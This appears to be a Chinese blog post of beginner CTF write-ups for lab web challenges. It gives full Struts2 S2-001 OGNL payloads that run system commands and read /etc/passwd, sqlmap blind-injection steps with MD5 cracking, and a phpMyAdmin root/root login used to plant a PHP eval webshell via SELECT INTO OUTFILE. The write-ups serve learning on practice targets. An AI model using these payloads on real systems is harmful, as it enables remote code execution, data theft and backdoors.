菜鸟慢慢爬行————web(1)

墨者学院

Apache Struts2远程代码执行漏洞(S2-001)
善于查资料:https://blog.csdn.net/qq_29647709/article/details/84945159
s2-001漏洞原理:用户提交表单时,后端会将OGNL表达式%{value}进行解析
关于OGNL:https://www.cnblogs.com/cenyu/p/6233942.html
在输入%{1+1}后,点击提交,会显示2,这说明{}中的内容被执行,那么,我们就可以通过这个漏洞,让它执行命令:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

在这里插入图片描述
可以在框中看见文件路径了,
继续:web路径

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

在这里插入图片描述

继续

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述

进入主题:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

这个执行出来的命令是:ls / 命令
在这里插入图片描述
将ls /改一下,改成:cat key.txt
paylaod:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

就爆出了flag

SQL注入漏洞测试

最开始以为是这里的注入,无论怎么尝试都不行,心想这初级也太难了吧

在这里插入图片描述

然后看到关于平台维护的公告,点进去才发现这里才是注入点
(这里可以用啊D扫描器扫,也不至于半天找不到注入点)

在这里插入图片描述
然后开始进行注入,盲注,页面只有正确和错误两种形式:
直接sqlmap,在库stormgroup里面查看member表,里面有name和password
再次用sql爆,这是出来的结果:
在这里插入图片描述
还以为这就是flag,发现竟然不是,看这个像是md5解密,拿去解密得:
528469,提交之后说这个用户被禁用

想起来之前扫表的时候不是扫出来三个嘛,难道另一个也有用?
尝试一下:

在这里插入图片描述
果不其然!
同样md5解密:
853774
用此密码登录,进去之后就可以看见flag了

phpmyadmin上传漏洞
打开phpmyadmin,尝试admin/admin,不行;尝试root/root,可以登进去;这里也可以使用bp爆破
登进去之后访问主页,可以看见如下的服务器信息:
在这里插入图片描述
可以判断这是unix基于linux的操作系统。一般网站根目录为/var/www/html/…
但是以防万一,我们还是通过文件包含来寻找一些路径:
UNIX系统中/tmp/sess_[当前会话]
在这之前先在sql里面写

select "<?php phpinfo();?>" 

成功后访问index.php
在url后面写:

url/../../../../../../../tmp/sess_当前对话

找到绝对路径,上传一句话木马:

select "<?php @eval($_POST['a']);?>" into outfile '/var/www/html/1.php'

菜刀连接之后,在整个磁盘找KEY.txt

webshell:当发现图片马,修改类型都不行的时候,可以尝试上传扩展名为**.php3或者.php5**的文件
因为只有这样的文件才能被解析

攻防世界:

NewsCenter
这是我第一次,抓了包用sqlmap跑出来flag
在这里插入图片描述
多跑几次就出来了

sqlmap.py -r 1.txt -dbs
sqlmap.py -r 1.txt --dump






NaNNaNNaNNaN-Batman

下载源码,打开发现是一堆乱得不完全的源码,但是
在这里插入图片描述
可以看见最前面的_是一个变量,eval()是执行这个变量
我们把eval改成alert(
), 文档中不能显示就是编码的问题,但是虽然编码不一样,这个函数的内容是没有变的,alert的时候直接显示了一个变量内容,也可以理解为以能显示的编码显示出来
再以网页形式打开,可以看见正常的源码:

在这里插入图片描述
整理一下:
在这里插入图片描述
e的长度为16,e要有be0f23,233ac,e98aa,c7be9
所以e为be0f233ac7be98aa
执行以下代码:

<script>
var t=["fl","s_a","i","e}"];
             var n=["a","_h0l","n"];
             var r=["g{","e","_0"];
             var i=["it'","_","n"];
             var s=[t,n,r,i];
             for(var o=0;o<13;++o){
             document.write(s[o%4][0]);s[o%4].splice(0,1)}
</script>

将e的值输入框中,得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值